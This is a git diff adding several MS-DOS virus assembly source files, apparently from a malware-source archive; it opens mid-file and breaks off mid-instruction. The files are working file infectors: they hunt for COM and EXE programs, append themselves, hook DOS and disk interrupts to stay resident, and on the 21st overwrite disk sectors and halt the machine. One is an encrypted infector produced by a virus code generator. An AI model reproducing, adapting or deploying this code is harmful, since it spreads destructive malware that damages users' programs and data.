;Dos service function ah=2FH (get DTA) + int 21h ;ES:BX Addres of current DTA + mov [edta],ES + mov [bdta],BX + mov ah,1ah ;Dos service function ah=1AH (set DTA) + mov dx,offset end+7 ;DS:DX Addres of DTA + int 21h + push cs + pop ds + MOV AH,4eH + MOV DX,offset files + mov cx,00 + INT 21H ;Dos service function ah=4EH (FIND FIRST) + jc dinge ;CX File attribute + ;DS:DX Pointer of filespec (ASCIIZ string) +vir: mov ax,3d02h + push cs + pop ds + mov dx,offset end+7 ;DS:DX Addres of DTA + add dx,1EH + int 21h ;Dos service function ah=3DH (OPEN FILE) + ;AL Open mode + ;DS:DX Pointer to filename (ASCIIZ string) + ;Return AX file handle + mov [handle],ax + mov ah,'C' + mov al,'D' + PUSH DX + POP BX + cmp [bx],ah ;Compare filename for 'COMMAND.COM' + jnz p1 ;If not first char 'C' then push virus in file + cmp [bx+6],al + jz v ;If 7 char 'D' then find next file +p1: mov bx,handle + push cs + pop ds + mov ah,3fh + mov dx,offset end + mov cx,5 + int 21h ;Dos service function ah=3FH (READ FILE) + ;BX File handle + ;CX Number of bytes to read + ;DS:DX Addres of buffer + push cs + pop es ;ES <- CS + cld + PUSH DX + POP SI + mov di,offset okey + mov cx,5 + rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI + ; SI=SI+1 + ; DI=DI+1 + mov ax,534bh + mov di,dx + add di,3 + cmp [di],ah + jnz fuck + inc di + cmp [di],al + jnz fuck +v: push cs + pop ds + mov bx,handle + mov ah,3eh + int 21h + push cs + pop ds + mov ah,4fh + int 21h + jc enzi + jmp short vir +enzi: jmp ding +fuck: mov ax,offset end+7 + add ax,1aH + mov di,ax + Mov Word Ptr cx,[di] + mov ax,offset end + mov di,ax + mov al,0e9h + cmp cx,1a0h + jna v + add cx,2 + mov [di],al + inc di + mov Word Ptr [di],cx + mov ax,534bh + add di,2 + mov [di],ah + inc di + mov [di],al + mov bx,[handle] ; + mov ax,4200h + xor cx,cx + xor dx,dx + push cs + pop ds + int 21h + mov bx,handle + mov ah,40h + mov dx,offset end + mov cx,5 + int 21h + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + push cs + pop ds + mov bx,handle + mov ah,40h + mov dx,offset okey + mov cx,end-okey + int 21h + mov bx,handle + mov ah,3eh + int 21h + mov ax,0000 + mov ds,ax + inc Word ptr [0310h] +ding: push cs + pop ds + mov ah,1ah + mov ds,[edta] + mov dx,[bdta] + int 21h + mov ax,0 + mov ds,ax + mov byte ptr [306h],0 +main: PUSH CS + POP DS + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + popf +int1hh nop +int1h: db (0eah) +is: dw 0 +io: dw 0 + +int13h: cli + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + push ax + mov ax,0 + mov ds,ax + pop ax + mov byte ptr [308h],ch + mov byte ptr [309h],dl + push cs + pop ds + push ax + push ds + cmp ah,03 + jz etk2 + cmp ah,05 + jnz etk3 +etk2: mov ax,0000 + mov ds,ax + inc Word ptr [310h] + cmp Word ptr [310h],02FEh + jnz etk3 + push cs + pop ds + STI + int 20h +etk3: pop ds + pop ax + STI + int 65h + pushf + push ax + mov ax,0 + mov ds,ax + cmp byte ptr [306h],0 + pop ax + jz etk4 + popf + clc + mov ax,0 + jmp short etk5 +etk4: popf +etk5: POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + db (0CAH) + db (02) + db (00) +name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$' +for1: jmp ding1 +files: db '*.com',0 +ding2: mov ax,0000h + mov ds,ax + MOV BX,300H + MOV CX,4b53h + cmp [bx],cx + jz for1 + mov [bx],cx + mov ah,62h + int 21h + mov ds,bx + mov bx,[2ch] + dec bx + mov dx,0FFFFh +loc_1: mov ds,bx + mov di,[3] + inc di + add dx,di + add bx,di + cmp byte ptr [0000],5Ah + jne loc_1 + mov cx,es + add cx,dx + sub word ptr [3],80h + sub cx,80h + sub cx,10h + mov es,cx + mov di,100h + cld + mov ax,0000h + mov ds,ax + mov bx,[004ch] + mov [0194h],bx + mov cx,[004eh] + mov [0196h],cx + mov ax,0 + mov ds,ax +lenf equ word ptr ds:[312h] + mov ax,0000h + mov ds,ax + mov bx,[0084h] + mov cx,[0086h] + mov ax,0 + mov ds,ax + mov di,is-okey + add di,lenf + push cs + pop ds + mov [di],bx + mov [di+2],cx + mov ax,0 + mov ds,ax + mov si,[312h] + sub si,7 + push cs + pop ds + mov di,100h + mov cx,800h + rep movsb + mov ax,0000 + mov ds,ax + cli + mov WORD PTR [0086h],ES + mov WORD PTR [004eh],ES + mov word ptr [0082h],es + mov di,int20h-okey + add di,107h + mov WORD PTR [0080h],di + mov di,int13h-okey + add di,107h + mov WORD PTR [004ch],di + mov di,int21h-okey + add di,107h + mov WORD PTR [0084h],di + sti +Ding1: mov ax,0 + mov ds,ax + mov byte ptr [306h],1 + mov byte ptr [302h],0 + mov ah,19h + int 21h + mov dl,al + cmp dl,01 + jna mmm + add dl,7Eh + mov ax,0 + mov ds,ax +mmm: mov byte ptr [309h],dl + push cs + pop ds + mov ah,0ffh + int 21h +for: mov ax,0 + mov ds,ax + mov byte ptr [306h],0 + mov byte ptr [302h],1 + PUSH CS + POP DS + pop cx + mov si,100h + jmp si +handle: dw ? +edta: dw ? +bdta: dw ? +com: db 'COMMAND' +end: db (00) \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.sk1.asm b/MSDOS/Virus.MSDOS.Unknown.sk1.asm new file mode 100644 index 00000000..18185f7e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sk1.asm @@ -0,0 +1,412 @@ +start: jmp short begin + db (00h) + db (53h) + db (4bh) + int 20h +okey: db (0b8h) + db (03h) + db (00h) + db (0cdh) + db (10h) +begin: push cx + CALL F1 +F1: POP SI + SUB SI,09 + push cs + pop ds + push cs + pop es + MOV WORD PTR [LenF],SI + cld + mov di,100h + mov cx,5 + rep movsb + jmp ding1 +int21h: STI + cmp ah,00 + jz int20h + cmp ah,4ch + jz int20h +et1: db (0eah) +is: dw 0 +io: dw 0 + +;int13h: sti +; PUSH BX +; PUSH CX +; PUSH DX +; PUSH DS +; PUSH ES +; PUSH SI +; PUSH DI +; push ax +; push ds +; cmp ah,03 +; jz etk2 +; cmp ah,05 +; jnz etk3 +;etk2: mov ax,0000 +; mov ds,ax +; inc Word ptr [310h] +; cmp Word ptr [310h],0FFEh +; jnz etk3 +; push cs +; pop ds +; int 20h +;etk3: pop ds +; pop ax +; int 65h +; cld +; mov ax,0 +; POP DI +; POP SI +; POP ES +; POP DS +; POP DX +; POP CX +; POP BX +; iret +int20h: STI + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + mov ah,2ah + int 21h + cmp dl,21 + jnz okef + mov ax,0309h + mov dx,0000h + mov cx,0001h + lea bx,[100h] + int 13h + jmp short okep +okef: mov ax,0 + mov ds,ax + inc word ptr [310h] + cmp Word ptr [310h],0FFFh + jnz oke +okep: push cs + pop ds + mov ah,9 + mov di,name-okey + add di,107h + mov dx,di + int 21h + cli + hlt +oke: mov ax,0 + mov ds,ax + cmp byte ptr [302h],0 + jz et3 + mov byte ptr [302h],0 + jmp main +dinge: jmp ding +et3: push cs ;ds <- cs + pop ds + mov ah,2fh ;Dos service function ah=2FH (get DTA) + int 21h ;ES:BX Addres of current DTA + mov di,edta-okey + add di,107h + mov [di],ES + mov [di+2],BX + mov ah,1ah ;Dos service function ah=1AH (set DTA) + PUSH CS + POP DS + mov dx,dta-okey ;DS:DX Addres of DTA + add dx,107h + int 21h + push cs + pop ds + MOV AH,4eH + MOV DX,files-okey + ADD dx,107h + mov cx,00 + INT 21H ;Dos service function ah=4EH (FIND FIRST) + jc dinge ;CX File attribute + ;DS:DX Pointer of filespec (ASCIIZ string) +vir: mov ax,3d02h + push cs + pop ds + mov dx,dta-okey ;DS:DX Addres of DTA + add dx,107h + add dx,1EH + int 21h ;Dos service function ah=3DH (OPEN FILE) + ;AL Open mode + ;DS:DX Pointer to filename (ASCIIZ string) + ;Return AX file handle + mov di,handle-okey + add di,107h + mov [di],ax + mov ah,'C' + mov al,'D' + PUSH DX + POP BX + cmp [bx],ah ;Compare filename for 'COMMAND.COM' + jnz p1 ;If not first char 'C' then push virus in file + cmp [bx+6],al + jz v ;If 7 char 'D' then find next file +p1: mov di,handle-okey + add di,107h + mov bx,[di] + push cs + pop ds + mov ah,3fh + mov dx,end-okey + add dx,107h + mov cx,5 + int 21h ;Dos service function ah=3FH (READ FILE) + ;BX File handle + ;CX Number of bytes to read + ;DS:DX Addres of buffer + push cs + pop es ;ES <- CS + cld + PUSH DX + POP SI + mov di,107h + mov cx,5 + rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI + ; SI=SI+1 + ; DI=DI+1 + mov ax,534bh + mov di,dx + add di,3 + cmp [di],ah + jnz fuck + inc di + cmp [di],al + jnz fuck +v: push cs + pop ds + mov di,handle-okey + add di,107h + mov bx,[di] + mov ah,3eh + int 21h + push cs + pop ds + mov ah,4fh + int 21h + jc enzi + jmp short vir +enzi: jmp ding +fuck: mov ax,dta-okey + add ax,107h + add ax,1aH + mov di,ax + Mov Word Ptr cx,[di] + mov ax,end-okey + add ax,107h + mov di,ax + mov al,0e9h + cmp cx,0feh + jna v + add cx,2 + mov [di],al + inc di + mov Word Ptr [di],cx + mov ax,534bh + add di,2 + mov [di],ah + inc di + mov [di],al + mov di,handle-okey + add di,107h + mov bx,[di] + mov ax,4200h + xor cx,cx + xor dx,dx + push cs + pop ds + int 21h + mov di,handle-okey + add di,107h + mov bx,[di] + mov ah,40h + mov dx,end-okey + add dx,107h + mov cx,5 + int 21h + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + push cs + pop ds + mov di,handle-okey + add di,107h + mov bx,[di] + mov ah,40h + mov dx,107h + mov cx,end-okey + int 21h + mov ah,3eh + int 21h + mov ax,0000 + mov ds,ax + inc Word ptr [0310h] + push cs + pop ds +ding: mov ah,1ah + mov di,edta-okey + add di,107h + mov ds,[di] + mov dx,[di+2] + int 21h +main: PUSH CS + POP DS + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX +int1h: DB (0EAH) +INTSH: DW (0) +INTOH: DW (0) +name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$' +for1: jmp for +files: db '*.com',0 +Ding1: mov ax,0000h + mov ds,ax + mov byte ptr [302h],1 + cmp word ptr [300h],4B53h + jz for1 + mov word ptr [300h],4B53h + mov ah,62h + int 21h + mov ds,bx + mov bx,[2ch] + dec bx + mov dx,0FFFFh +loc_1: mov ds,bx + mov di,[3] + inc di + add dx,di + add bx,di + cmp byte ptr [0000],5Ah + jne loc_1 + mov cx,es + add cx,dx + sub word ptr [3],80h + sub cx,80h + sub cx,10h + mov es,cx + mov di,100h + cld + PUSH DI + mov ax,0000h + mov ds,ax +; mov bx,[004ch] +; mov [0194h],bx +; mov cx,[004eh] +; mov [0196h],cx + mov bx,[0080h] + mov cx,[0082h] + PUSH CS + POP DS + mov di,intsh-okey + add di,[lenf] + mov [di],bx + mov [di+2],cx + mov ax,0000h + mov ds,ax + mov bx,[0084h] + mov cx,[0086h] + PUSH CS + POP DS + mov di,is-okey + add di,[lenf] + mov [di],bx + mov [di+2],cx + push cs + pop ds + POP DI + mov si,[lenf] + sub si,7 + mov cx,800h + push cs + pop ds + rep movsb + mov ax,0000 + mov ds,ax + mov WORD PTR [0082h],es + mov WORD PTR [0086h],es +; mov WORD PTR [004eh],es +; mov di,int13h-okey +; add di,107h +; mov WORD PTR [004ch],di + mov di,int20h-okey + add di,107h + mov WORD PTR [0080h],di + mov di,int21h-okey + add di,107h + mov WORD PTR [0084h],di + jmp ding3 +for: mov ax,0 + mov ds,ax + mov bx,[80h] + mov cx,[82h] + push cx + pop ds + push cx + mov di,intsh-okey + add di,107h + mov bx,[di] + mov cx,[di+2] + push cs + pop ds + mov di,v20h1-okey + add di,[lenf] + mov [di],bx + mov [di+2],cx + mov ax,0000h + mov ds,ax + mov Byte ptr [302h],0 + pop ds + mov di,INTSH-okey + add di,107h + mov bx,ding2-okey + add bx,[lenf] + mov word ptr [di],bx + mov word ptr [di+2],CS + int 20h +ding2: push cs + pop ds + mov di,v20h1-okey + add di,[lenf] + mov bx,[di] + mov cx,[di+2] + mov ax,0 + mov ds,ax + mov WORD PTR ax,[82h] + mov word ptr [302h],1 + mov ds,ax + mov di,intsh-okey + add di,107h + mov [di],bx + mov [di+2],cx +ding3: PUSH CS + POP DS + push cs + pop es + pop cx + mov si,100h + jmp si +LenF: dw ? +dta: db 256 dup (?) +handle: dw ? +edta: dw ? +bdta: dw ? +v20h1: dw ? +v20h2: dw ? +com: db 'COMMAND' +end: db (00) + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.sk2.asm b/MSDOS/Virus.MSDOS.Unknown.sk2.asm new file mode 100644 index 00000000..722e72c6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sk2.asm @@ -0,0 +1,298 @@ +start: jmp short begin + db (00h) + db (53h) + db (4bh) + int 20h +okey: db (0b8h) + db (03h) + db (00h) + db (0cdh) + db (10h) +begin: push cx + CALL F1 +F1: POP SI + SUB SI,09 + PUSH SI + cld + mov di,100h + mov cx,5 + rep movsb + jmp ding2 +int21h: STI + cmp ah,4bh + jz mm + jmp int1hh +mm: pushf + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + mov byte ptr [virusw],1 + mov ah,2ah + int 21h + cmp dl,21 + jnz et3 + mov ax,0309h + mov dx,0000h + mov cx,0001h + lea bx,[100h] + int 13h + mov ah,9 + mov dx,offset name + int 21h + cli + hlt +dinge: jmp ding +et3: push cs ;ds <- cs + pop ds + mov ah,2fh ;Dos service function ah=2FH (get DTA) + int 21h ;ES:BX Addres of current DTA + mov [edta],ES + mov [bdta],BX + mov ah,1ah ;Dos service function ah=1AH (set DTA) + mov dx,offset end+7 ;DS:DX Addres of DTA + int 21h + push cs + pop ds + MOV AH,4eH + MOV DX,offset files + mov cx,00 + INT 21H ;Dos service function ah=4EH (FIND FIRST) + jc dinge ;CX File attribute + ;DS:DX Pointer of filespec (ASCIIZ string) +vir: mov ax,3d02h + push cs + pop ds + mov dx,offset end+7 ;DS:DX Addres of DTA + add dx,1EH + int 21h ;Dos service function ah=3DH (OPEN FILE) + ;AL Open mode + ;DS:DX Pointer to filename (ASCIIZ string) + ;Return AX file handle + mov [handle],ax + mov ah,'C' + mov al,'D' + PUSH DX + POP BX + cmp [bx],ah ;Compare filename for 'COMMAND.COM' + jnz p1 ;If not first char 'C' then push virus in file + cmp [bx+6],al + jz v ;If 7 char 'D' then find next file +p1: mov bx,handle + push cs + pop ds + mov ah,3fh + mov dx,offset end + mov cx,5 + int 21h ;Dos service function ah=3FH (READ FILE) + ;BX File handle + ;CX Number of bytes to read + ;DS:DX Addres of buffer + push cs + pop es ;ES <- CS + cld + PUSH DX + POP SI + mov di,offset okey + mov cx,5 + rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI + ; SI=SI+1 + ; DI=DI+1 + mov ax,534bh + mov di,dx + add di,3 + cmp [di],ah + jnz fuck + inc di + cmp [di],al + jnz fuck +v: push cs + pop ds + mov bx,handle + mov ah,3eh + int 21h + push cs + pop ds + mov ah,4fh + int 21h + jc enzi + jmp short vir +enzi: jmp ding +fuck: mov ax,offset end+7 + add ax,1aH + mov di,ax + Mov Word Ptr cx,[di] + mov ax,offset end + mov di,ax + mov al,0e9h + cmp cx,1a0h + jna v + add cx,2 + mov [di],al + inc di + mov Word Ptr [di],cx + mov ax,534bh + add di,2 + mov [di],ah + inc di + mov [di],al + mov bx,[handle] ; + mov ax,4200h + xor cx,cx + xor dx,dx + push cs + pop ds + int 21h + mov bx,handle + mov ah,40h + mov dx,offset end + mov cx,5 + int 21h + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + push cs + pop ds + mov bx,handle + mov ah,40h + mov dx,offset okey + mov cx,end-okey + int 21h + mov bx,handle + mov ah,3eh + int 21h + inc Word ptr [save] +ding: push cs + pop ds + mov ah,1ah + mov ds,[edta] + mov dx,[bdta] + int 21h + mov byte ptr [virusw],0 + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + popf +int1hh nop +int1h: db (0eah) +is: dw 0 +io: dw 0 +int13h: cli + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + inc Word ptr [save] + cmp Word ptr [save],1000h + jnz etk3 + cli + hlt +etk3: STI + int 65h + push ax + mov ax,0 + mov ds,ax + cmp byte ptr [virusw],0 + pop ax + jz etk5 + clc + mov ax,0 +etk5: POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + db (0CAH) + db (02) + db (00) +name: db 'Virus in memory !!! $' +for1: jmp ding1 +files: db '*.com',0 +ding2: mov ax,0000h + mov ds,ax + MOV BX,300H + MOV CX,4b53h + cmp [bx],cx + jz for1 + mov [bx],cx + mov ah,62h + int 21h + mov ds,bx + mov bx,[2ch] + dec bx + mov dx,0FFFFh +loc_1: mov ds,bx + mov di,[3] + inc di + add dx,di + add bx,di + cmp byte ptr [0000],5Ah + jne loc_1 + mov cx,es + add cx,dx + sub word ptr [3],80h + sub cx,80h + sub cx,10h + mov es,cx + mov di,100h + cld + mov ax,0000h + mov ds,ax + mov bx,[004ch] + mov [0194h],bx + mov cx,[004eh] + mov [0196h],cx + MOV BX,[0084H] + MOV CX,[0086H] + push cs + pop ds + POP SI + PUSH SI + ADD SI,IS-OKEY + MOV [SI],BX + MOV [SI+2],CX + POP SI + PUSH SI + sub si,7 + mov di,100h + mov cx,800h + rep movsb + mov ax,0000 + mov ds,ax + cli + mov WORD PTR [0086h],ES + mov WORD PTR [004eh],ES + mov di,int13h-okey + add di,107h + mov WORD PTR [004ch],di + mov di,int21h-okey + add di,107h + mov WORD PTR [0084h],di +ding1: POP SI + sti + PUSH CS + POP DS + POP CX + mov si,100h + jmp si +handle: dw ? +edta: dw ? +bdta: dw ? +VIRUSW: DB (00) +SAVE: DB (00) +end: db (00) \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.sk20h.asm b/MSDOS/Virus.MSDOS.Unknown.sk20h.asm new file mode 100644 index 00000000..55c58931 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sk20h.asm @@ -0,0 +1,433 @@ +start: jmp short begin + db (00h) + db (53h) + db (4bh) + int 20h +okey: db (0b8h) + db (03h) + db (00h) + db (0cdh) + db (10h) +begin: push cx + CALL F1 +F1: POP SI + SUB SI,09 + mov ax,0 + mov ds,ax + mov word ptr [312h],si + push cs + pop ds + push cs + pop es + cld + mov di,100h + mov cx,5 + rep movsb + jmp ding2 +int20h: mov ah,00h + jmp mm +int21h: STI + cmp ah,00h + jz mm + cmp ah,4ch + jz mm + cmp ah,0ffh + jz mm + jmp int1hh +mm: pushf + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + mov ax,0 + mov ds,ax + cmp byte ptr [302h],0 + jz mm2 + mov byte ptr [302h],0 + jmp main +mm2: mov ah,19h + int 21h + mov dl,al + cmp dl,01 + jna mmm5 + add dl,7Eh + mov ax,0 + mov ds,ax +mmm5: mov byte ptr [309h],dl + mov byte ptr ch,[308h] + mov byte ptr dl,[309h] + mov cl,01 + push cs + pop ds + mov ax,0201h + mov dh,00h + mov bx,offset end+7 + push cs + pop es + int 13h + mov ax,0 + mov ds,ax + mov byte ptr ch,[308h] + mov byte ptr dl,[309h] + mov cl,01 + push cs + pop ds + mov ax,0301h + mov dh,00h + mov bx,offset end+7 + push cs + pop es + int 13h + jnc etk6 + cmp ah,3 + jnz etk6 + jmp main +etk6: mov ax,0 + mov ds,ax + mov byte ptr [306h],1 + push cs + pop ds + mov ah,2ah + int 21h + cmp dl,21 + jnz okef + mov ax,0309h + mov dx,0000h + mov cx,0001h + lea bx,[100h] + int 13h + jmp short okep +okef: mov ax,0 + mov ds,ax + inc word ptr [310h] + cmp Word ptr [310h],02FFh + jnz et3 +okep: push cs + pop ds + mov bx,offset name +et9: mov ah,[bx] + xor ah,21 + mov [bx],ah + inc bx + cmp bx,offset for1 + jnz et9 + mov ah,9 + mov dx,offset name + int 21h + cli + hlt +dinge: jmp ding +et3: push cs ;ds <- cs + pop ds + mov ah,2fh ;Dos service function ah=2FH (get DTA) + int 21h ;ES:BX Addres of current DTA + mov [edta],ES + mov [bdta],BX + mov ah,1ah ;Dos service function ah=1AH (set DTA) + mov dx,offset end+7 ;DS:DX Addres of DTA + int 21h + push cs + pop ds + MOV AH,4eH + MOV DX,offset files + mov cx,00 + INT 21H ;Dos service function ah=4EH (FIND FIRST) + jc dinge ;CX File attribute + ;DS:DX Pointer of filespec (ASCIIZ string) +vir: mov ax,3d02h + push cs + pop ds + mov dx,offset end+7 ;DS:DX Addres of DTA + add dx,1EH + int 21h ;Dos service function ah=3DH (OPEN FILE) + ;AL Open mode + ;DS:DX Pointer to filename (ASCIIZ string) + ;Return AX file handle + mov [handle],ax + mov ah,'C' + mov al,'D' + PUSH DX + POP BX + cmp [bx],ah ;Compare filename for 'COMMAND.COM' + jnz p1 ;If not first char 'C' then push virus in file + cmp [bx+6],al + jz v ;If 7 char 'D' then find next file +p1: mov bx,handle + push cs + pop ds + mov ah,3fh + mov dx,offset end + mov cx,5 + int 21h ;Dos service function ah=3FH (READ FILE) + ;BX File handle + ;CX Number of bytes to read + ;DS:DX Addres of buffer + push cs + pop es ;ES <- CS + cld + PUSH DX + POP SI + mov di,offset okey + mov cx,5 + rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI + ; SI=SI+1 + ; DI=DI+1 + mov ax,534bh + mov di,dx + add di,3 + cmp [di],ah + jnz fuck + inc di + cmp [di],al + jnz fuck +v: push cs + pop ds + mov bx,handle + mov ah,3eh + int 21h + push cs + pop ds + mov ah,4fh + int 21h + jc enzi + jmp short vir +enzi: jmp ding +fuck: mov ax,offset end+7 + add ax,1aH + mov di,ax + Mov Word Ptr cx,[di] + mov ax,offset end + mov di,ax + mov al,0e9h + cmp cx,1a0h + jna v + add cx,2 + mov [di],al + inc di + mov Word Ptr [di],cx + mov ax,534bh + add di,2 + mov [di],ah + inc di + mov [di],al + mov bx,[handle] ; + mov ax,4200h + xor cx,cx + xor dx,dx + push cs + pop ds + int 21h + mov bx,handle + mov ah,40h + mov dx,offset end + mov cx,5 + int 21h + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + push cs + pop ds + mov bx,handle + mov ah,40h + mov dx,offset okey + mov cx,end-okey + int 21h + mov bx,handle + mov ah,3eh + int 21h + mov ax,0000 + mov ds,ax + inc Word ptr [0310h] +ding: push cs + pop ds + mov ah,1ah + mov ds,[edta] + mov dx,[bdta] + int 21h + mov ax,0 + mov ds,ax + mov byte ptr [306h],0 +main: PUSH CS + POP DS + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + popf +int1hh nop +int1h: db (0eah) +is: dw 0 +io: dw 0 + +int13h: cli + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + push ax + mov ax,0 + mov ds,ax + pop ax + mov byte ptr [308h],ch + mov byte ptr [309h],dl + push cs + pop ds + push ax + push ds + cmp ah,03 + jz etk2 + cmp ah,05 + jnz etk3 +etk2: mov ax,0000 + mov ds,ax + inc Word ptr [310h] + cmp Word ptr [310h],02FEh + jnz etk3 + push cs + pop ds + STI + int 20h +etk3: pop ds + pop ax + STI + int 65h + pushf + push ax + mov ax,0 + mov ds,ax + cmp byte ptr [306h],0 + pop ax + jz etk4 + popf + clc + mov ax,0 + jmp short etk5 +etk4: popf +etk5: POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + db (0CAH) + db (02) + db (00) +name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$' +for1: jmp ding1 +files: db '*.com',0 +ding2: mov ax,0000h + mov ds,ax + MOV BX,300H + MOV CX,4b53h + cmp [bx],cx + jz for1 + mov [bx],cx + mov ah,62h + int 21h + mov ds,bx + mov bx,[2ch] + dec bx + mov dx,0FFFFh +loc_1: mov ds,bx + mov di,[3] + inc di + add dx,di + add bx,di + cmp byte ptr [0000],5Ah + jne loc_1 + mov cx,es + add cx,dx + sub word ptr [3],80h + sub cx,80h + sub cx,10h + mov es,cx + mov di,100h + cld + mov ax,0000h + mov ds,ax + mov bx,[004ch] + mov [0194h],bx + mov cx,[004eh] + mov [0196h],cx + mov ax,0 + mov ds,ax +lenf equ word ptr ds:[312h] + mov ax,0000h + mov ds,ax + mov bx,[0084h] + mov cx,[0086h] + mov ax,0 + mov ds,ax + mov di,is-okey + add di,lenf + push cs + pop ds + mov [di],bx + mov [di+2],cx + mov ax,0 + mov ds,ax + mov si,[312h] + sub si,7 + push cs + pop ds + mov di,100h + mov cx,800h + rep movsb + mov ax,0000 + mov ds,ax + cli + mov WORD PTR [0086h],ES + mov WORD PTR [004eh],ES + mov word ptr [0082h],es + mov di,int20h-okey + add di,107h + mov WORD PTR [0080h],di + mov di,int13h-okey + add di,107h + mov WORD PTR [004ch],di + mov di,int21h-okey + add di,107h + mov WORD PTR [0084h],di + sti +Ding1: mov ax,0 + mov ds,ax + mov byte ptr [306h],1 + mov byte ptr [302h],0 + mov ah,19h + int 21h + mov dl,al + cmp dl,01 + jna mmm + add dl,7Eh +mmm: mov byte ptr [309h],dl + push cs + pop ds + mov ah,0ffh + int 21h +for: mov ax,0 + mov ds,ax + mov byte ptr [306h],0 + mov byte ptr [302h],1 + PUSH CS + POP DS + pop cx + mov si,100h + jmp si +handle: dw ? +edta: dw ? +bdta: dw ? +com: db 'COMMAND' +end: db (00) \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.skeleton.asm b/MSDOS/Virus.MSDOS.Unknown.skeleton.asm new file mode 100644 index 00000000..e3f39336 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.skeleton.asm @@ -0,0 +1,302 @@ +; target.asm : [Skeleton] by Deke +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'DA' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +startvirus: +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov bp,offset startencrypt ; start of decryption + mov ax,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,76h,0 ; xor word ptr cs:[bp], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bp ; calculate new decryption location + inc bp + dec ax ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+offset save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+offset oldCSIP2] + lea di,[bp+offset oldCSIP] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],3 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+offset newDTA] ; new DTA @ DS:DX + int 21h + + lea dx,[bp+offset exe_mask] + call infect_mask + lea dx,[bp+offset com_mask] + call infect_mask + +done_infections: + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+oldCSIP+2],ax + add ax,word ptr cs:[bp+oldSSSP+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+oldSSSP] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +oldCSIP db ? ; Original CS:IP (4 bytes) +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +oldSSSP dd ? ; Original SS:SP +oldCSIP2 dd ? +oldSSSP2 dd ? + +creator db '[MPC]',0 ; Mass Produced Code Generator +virus db '[Skeleton]',0 +author db 'Deke',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov ax,3d02h ; Open read/write + int 21h + xchg ax,bx + + mov ah,3fh ; Read file to buffer + lea dx,[bp+offset buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ax,4202h ; Go to end of file + xor cx,cx + cwd + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov cx,word ptr [bp+buffer+1]; get jmp location + add cx,heap-startvirus+3 ; Adjust for virus size + cmp ax,cx ; Already infected? + je find_next + jmp infect_com +checkEXE: + cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +done_file: + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close 